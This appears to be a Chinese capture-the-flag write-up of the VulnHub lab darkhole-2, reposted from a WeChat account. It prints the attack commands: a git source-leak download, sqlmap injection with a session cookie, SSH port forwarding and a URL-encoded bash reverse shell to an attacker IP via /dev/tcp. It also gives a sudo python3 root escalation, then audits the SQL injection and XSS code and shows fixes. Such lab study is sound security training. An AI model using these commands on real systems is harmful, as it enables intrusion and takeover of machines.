大余每日一攻防darkhole-2(十五)

admin 2023年12月21日00:08:37评论39 views字数 2408阅读8分1秒阅读模式

简介

每日一攻防是由全球安全研究员 VulnHub 提供的日常实战综合环境。大余安全将按照顺序选择 VulnHub 提供的渗透测试靶场,为网络安全爱好者、渗透测试从业者和安全研究员提供每日综合性的攻击和防御挑战。该项目的目标是促进参与者的技能提升,使他们更好地理解实际攻击和防御场景。

每日一攻防特色:环境攻破:以简单直白的方式攻破每日选择的渗透测试环境。代码审计:进行攻防分析,结合代码审计,深入挖掘漏洞和强化防御。

作者:大余

一首歌送给你们,一首歌一攻防一项目!《安和桥》送给大家!

一、网络枚举

大余每日一攻防darkhole-2(十五)发现ip地址:192.168.252.138大余每日一攻防darkhole-2(十五)枚举到端口22、80。

二、web系信息收集

大余每日一攻防darkhole-2(十五)打开目标80端口发现没什么东西,查看源代码也没什么,只有一个登录连接!

大余每日一攻防darkhole-2(十五)右上角有login登陆口!

三、Git源码泄露漏洞

将这个git 库下载下来,-r表示递归下载,然后进入该目录:

wget -r http://192.168.253.129/.git/cd 192.168.253.129
大余每日一攻防darkhole-2(十五)
1703054491_65828c9b8dd6b8840b09b.png!small?1703054492808

利用git log命令查看提交过的记录:大余每日一攻防darkhole-2(十五)我们发现在a4d900a这个记录里写着login.php带了一个默认凭证。

使用git reset --hard [log hash]恢复到指定版本号,--hard参数撤销工作区中所有未提交的修改内容,将暂存区与工作区都回到上一次版本,并删除之前的所有信息提交。

git reset --hard a4d900a
大余每日一攻防darkhole-2(十五)
1703054498_65828ca2ed38417222cfd.png!small?1703054499773

查看login.php的内容:大余每日一攻防darkhole-2(十五)

[email protected]321

看到了邮箱账号密码,然后在网页端登录。

四、SQL注入

登录后如下图,网址中id可能参数存在SQL注入:大余每日一攻防darkhole-2(十五)加上一个单引号后,页面变白,说明应该存在SQL注入漏洞:大余每日一攻防darkhole-2(十五)

sqlmap跑起来:

sqlmap -u "http://192.168.253.129/dashboard.php?id=1" --cookie=PHPSESSID="6s0vbeadvi3jf11780rpppdfjs" --dbs --batch

大余每日一攻防darkhole-2(十五)大余每日一攻防darkhole-2(十五)发现了数据库,看一下darkhole_2库中的表:

sqlmap -u "http://192.168.253.129/dashboard.php?id=1" --cookie=PHPSESSID="6s0vbeadvi3jf11780rpppdfjs" -D darkhole_2  --tables

大余每日一攻防darkhole-2(十五)看看里面数据:大余每日一攻防darkhole-2(十五)

ssh [email protected]fool

大余每日一攻防darkhole-2(十五)成功登录!

五、远程命令执行漏洞

查看定时任务:

cat /etc/crontab

大余每日一攻防darkhole-2(十五)可以看到运行了一个php服务器在9999端口上,用户为losy,可以尝试去看一下原代码:

大余每日一攻防darkhole-2(十五)发现居然是个一句话木马,反弹shell即可,但是这个连接只能在本地访问,需要做端口转发,命令将目标靶机的本地9999映射到本地9999端口:

ssh -L 9999:127.0.0.1:9999 [email protected]

大余每日一攻防darkhole-2(十五)在浏览器中访问9999端口,传入cmd参数:大余每日一攻防darkhole-2(十五)可以看到,用户为losy,可以反弹一个losy的shell:

bash%20-c%20%27bash%20-i%20%3E%26%20/dev/tcp/192.168.253.138/5566%200%3E%261%27
大余每日一攻防darkhole-2(十五)
1703054556_65828cdc1709ee70ec2bb.png!small?1703054557504

六、提权root权限

在losy用户的.bash_history文件里,可以发现他的密码:大余每日一攻防darkhole-2(十五)

这里需要su进入当前用户去sudo找:大余每日一攻防darkhole-2(十五)

发现可以以root身份执行python3:

sudo python3 -c 'import os; os.system("/bin/bash")'
大余每日一攻防darkhole-2(十五)
1703054572_65828cec20a75ed0e6250.png!small?1703054572825

七、代码审计

查看源码:大余每日一攻防darkhole-2(十五)存在以下风险:1、SQL注入风险

$id= $_GET['id'];$info= $connect->query("select * from users where id='$id'")->fetch_assoc();

这段代码直接将用户输入的 id 参数拼接到 SQL 查询中,存在 SQL 注入的风险!可以使用参数绑定或者预处理语句来防止 SQL 注入攻击:

$stmt = $connect->prepare("SELECT * FROM users WHERE id = ?");$stmt->bind_param("s", $id);$stmt->execute();$info = $stmt->get_result()->fetch_assoc();

2、XSS 攻击风险

<li><b>Full name</b> <input type="text" name="fname" id="fname" maxlength="100" value="<?php echo $info['username']; ?>" required /> ... </li>

在这里,用户的输入未进行 HTML 转义,可能导致跨站脚本攻击(XSS),对用户输入进行 HTML 转义,确保在页面中显示的内容不会执行任何恶意脚本。使用 htmlspecialchars() 函数:

<li><b>Full name</b> <input type="text" name="fname" id="fname" maxlength="100" value="<?php echo htmlspecialchars($info['username']); ?>" required /> ... </li>

原文始发于微信公众号(大余安全):大余每日一攻防darkhole-2(十五)

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年12月21日00:08:37
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   大余每日一攻防darkhole-2(十五)http://cn-sec.com/archives/2321936.html

发表评论

匿名网友 填写信息